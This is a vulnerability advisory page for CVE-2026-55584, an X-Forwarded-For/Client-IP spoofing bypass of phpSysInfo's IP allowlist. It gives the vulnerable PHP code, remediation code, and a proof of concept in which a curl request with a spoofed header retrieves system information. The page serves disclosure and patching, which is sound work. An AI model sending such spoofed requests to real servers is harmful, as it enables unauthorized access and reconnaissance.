Skip to main content

phpSysInfo CVE-2026-55584

| EUVDEUVD-2026-67862 HIGH
Authentication Bypass by Spoofing (CWE-290)
2026-08-28 https://github.com/phpsysinfo/phpsysinfo GHSA-786w-p5pm-cvgh
7.5
CVSS 3.1 · Vendor: https://github.com/phpsysinfo/phpsysinfo
Share

Severity by source

Vendor (https://github.com/phpsysinfo/phpsysinfo) PRIMARY
7.5 HIGH
AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
vuln.today AI
7.5 HIGH

Network-exploitable with no authentication or complexity; impact is confidentiality-only as no integrity modification or availability disruption is possible through this bypass.

3.1 AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
4.0 AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N

Primary rating from Vendor (https://github.com/phpsysinfo/phpsysinfo).

CVSS VectorVendor: https://github.com/phpsysinfo/phpsysinfo

Attack Vector
Network
Attack Complexity
Low
Privileges Required
None
User Interaction
None
Scope
Unchanged
Confidentiality
High
Integrity
None
Availability
None

Lifecycle Timeline

5
Threat Model Generated
Aug 30, 2026 - 18:49 vuln.today
POC Analysis Generated
Aug 28, 2026 - 19:20 vuln.today
Source Code Evidence Fetched
Aug 28, 2026 - 18:51 vuln.today
Analysis Generated
Aug 28, 2026 - 18:51 vuln.today
CVE Published
Aug 28, 2026 - 18:30 github-advisory
HIGH 7.5

DescriptionCVE.org

Summary

phpSysInfo's PSI_ALLOWED IP allowlist can be trivially bypassed by any unauthenticated remote attacker. The access-control check in read_config.php derives the client IP from the attacker-controlled X-Forwarded-For and Client-IP HTTP headers before falling back to REMOTE_ADDR. An attacker can send X-Forwarded-For: <an allowed IP> to impersonate a trusted address and gain full access to all exposed system information, defeating the only IP-based access restriction the application provides.

Affected component

  • File: read_config.php
  • Versions: all versions up to and including 3.4.x (current main)

Description

When PSI_ALLOWED is configured, read_config.php enforces an IP allowlist. The client IP is resolved as follows:

php
if (isset($_SERVER["HTTP_X_FORWARDED_FOR"])) {
    $ip = $_SERVER["HTTP_X_FORWARDED_FOR"];
} else {
    if (isset($_SERVER["HTTP_CLIENT_IP"])) {
        $ip = $_SERVER["HTTP_CLIENT_IP"];
    } else {
        $ip = $_SERVER["REMOTE_ADDR"];
    }
}

Both HTTP_X_FORWARDED_FOR and HTTP_CLIENT_IP are fully attacker-controlled request headers. They are trusted unconditionally and take priority over REMOTE_ADDR. There is no concept of a configured/trusted reverse proxy, so even when phpSysInfo is exposed directly (no proxy in front), the spoofed header wins. As a result the allowlist provides no real protection.

Proof of Concept

Verified against phpSysInfo 3.4.x-main-d786ab2 running in a local Docker container (php:8.2-apache).

Deployment with the allowlist (under [main]) restricted to an address the attacker does not own:

ini
; phpsysinfo.ini  ([main] section)
ALLOWED=8.8.8.8

Request without the spoofed header - correctly denied (attacker's real IP is the container gateway 172.17.0.1):

bash
$ curl -s http://localhost:8080/xml.php | head -c 200
Client IP address (172.17.0.1) not allowed.

Request with a spoofed X-Forwarded-For matching the allowlist - bypass, full system information returned:

bash
$ curl -s -H "X-Forwarded-For: 8.8.8.8" http://localhost:8080/xml.php | head -c 200
<?xml version="1.0" encoding="UTF-8"?>
<tns:phpsysinfo xmlns:tns="http://phpsysinfo.sourceforge.net/" ...>

The same bypass works with the Client-IP header (HTTP_CLIENT_IP), which is also trusted before REMOTE_ADDR.

Impact

Any remote, unauthenticated attacker can defeat the PSI_ALLOWED access restriction and read the complete system information exposed by phpSysInfo, including hostname, kernel version, CPU model, memory layout, mounted filesystems, and all network interface addresses. This information is valuable for reconnaissance and targeting of further attacks.

Remediation

Use REMOTE_ADDR as the authoritative client IP by default. Only honor X-Forwarded-For / Client-IP when the request originates from an explicitly configured list of trusted proxies, and when honoring it, parse the correct entry from the chain rather than trusting the whole header. Example direction:

php
$ip = $_SERVER["REMOTE_ADDR"];
if (defined('PSI_TRUSTED_PROXIES') && in_array($ip, $trusted_proxies, true)
    && isset($_SERVER["HTTP_X_FORWARDED_FOR"])) {
    // take the right-most untrusted hop from the XFF chain
    $parts = array_map('trim', explode(',', $_SERVER["HTTP_X_FORWARDED_FOR"]));
    $ip = end($parts);
}

Discovery / Credit

  • Reported by: Muhammed Mirac Kayıkci
  • Coordinated disclosure; no third-party systems were tested. Verification performed against a local Docker deployment only.

AnalysisAI

phpSysInfo up to and including version 3.4.5 exposes a complete IP allowlist bypass in read_config.php that any unauthenticated remote attacker can exploit by sending a spoofed X-Forwarded-For or Client-IP HTTP header set to any address present in the PSI_ALLOWED configuration. The flaw (CWE-290) renders the application's only access-control mechanism entirely ineffective, allowing full retrieval of system telemetry including hostname, kernel version, CPU model, memory layout, filesystems, and network interface addresses. …

Unlock full vulnerability intelligence

  • Risk assessment & exploitation conditions
  • Attack chain visualization
  • Remediation with exact patch versions
  • Threat intelligence from 22 sources
  • Personal watchlist & email alerts

Free forever · No credit card required

Attack ChainAIDerived

Hypothetical attack flow derived from CVE metadata

Access
technique details hidden
Exploit
technique details hidden
Execution
technique details hidden
Impact
technique details hidden

Vulnerability AssessmentAI

Exploitation Exploitation requires that phpSysInfo is network-accessible over HTTP and that the PSI_ALLOWED directive is actively configured in phpsysinfo.ini - this is the specific mechanism being bypassed. … Additional conditions and limiting factors are described in the full assessment.
Risk Assessment The CVSS 3.1 score of 7.5 (AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N) accurately models this vulnerability: it is network-exploitable with zero authentication and minimal complexity - a single curl invocation with a spoofed header is sufficient, as the publicly available Exploit-DB PoC (52648) demonstrates. … Full risk analysis with EPSS, KEV, and SSVC signal comparison available after sign-in.
Exploit Scenario Full exploit scenario with step-by-step reproduction available after sign-in.
Remediation Upgrade to phpSysInfo 3.4.6 immediately, available at https://github.com/phpsysinfo/phpsysinfo/releases/tag/v3.4.6; this release applies the fix from commit 019fa2d7e568ea11461adb4bd33da5dc87c4b9ab, which defaults to REMOTE_ADDR and only honors XFF headers from explicitly configured trusted proxy IPs or CIDR ranges via the new TRUSTED_PROXIES directive. … Detailed patch versions, workarounds, and compensating controls in full report.

Recommended ActionAI

Within 24 hours, inventory all phpSysInfo deployments in your environment and identify their versions; immediately isolate or disable any instances running version 3.4.5 or earlier if not operationally critical, and restrict network access to trusted sources only. …

Sign in for detailed remediation steps and compensating controls.

Threat intelligence, references, and detailed analysis are available after sign-in.

More in PHP

View all
CVE-2019-11043 CRITICAL POC
9.8 Oct 28

In PHP versions 7.1.x below 7.1.33, 7.2.x below 7.2.24 and 7.3.x below 7.3.11 in certain configurations of FPM setup it

CVE-2012-1823 CRITICAL POC
9.8 May 11

sapi/cgi/cgi_main.c in PHP before 5.3.12 and 5.4.x before 5.4.2, when configured as a CGI script (aka php-cgi), does not

CVE-2016-1555 CRITICAL POC
9.8 Apr 21

(1) boardData102.php, (2) boardData103.php, (3) boardDataJP.php, (4) boardDataNA.php, and (5) boardDataWW.php in Netgear

CVE-2018-11138 CRITICAL POC
9.8 May 31

The '/common/download_agent_installer.php' script in the Quest KACE System Management Appliance 8.0.318 is accessible by

CVE-2024-11680 CRITICAL POC
9.8 Nov 26

ProjectSend versions prior to r1720 are affected by an improper authentication vulnerability. Rated critical severity (C

CVE-2025-49113 CRITICAL POC
9.9 Jun 02

Roundcube Webmail contains a critical PHP object deserialization vulnerability (CVE-2025-49113, CVSS 9.9) that allows au

CVE-2017-9841 CRITICAL POC
9.8 Jun 27

Util/PHP/eval-stdin.php in PHPUnit before 4.8.28 and 5.x before 5.6.3 allows remote attackers to execute arbitrary PHP c

CVE-2025-0108 HIGH POC
8.8 Feb 12

Palo Alto Networks PAN-OS management web interface contains an authentication bypass allowing unauthenticated attackers

CVE-2021-25298 HIGH POC
8.8 Feb 15

Nagios XI version xi-5.7.5 is affected by OS command injection. Rated high severity (CVSS 8.8), this vulnerability is re

CVE-2021-25296 HIGH POC
8.8 Feb 15

Nagios XI version xi-5.7.5 is affected by OS command injection. Rated high severity (CVSS 8.8), this vulnerability is re

CVE-2013-4983 CRITICAL POC
10.0 Sep 10

The get_referers function in /opt/ws/bin/sblistpack in Sophos Web Appliance before 3.7.9.1 and 3.8 before 3.8.1.1 allows

CVE-2023-6553 CRITICAL POC
9.8 Dec 15

The Backup Migration plugin for WordPress is vulnerable to Remote Code Execution in all versions up to, and including, 1

Share

CVE-2026-55584 vulnerability details – vuln.today

This site uses cookies essential for authentication and security. No tracking or analytics cookies are used. Privacy Policy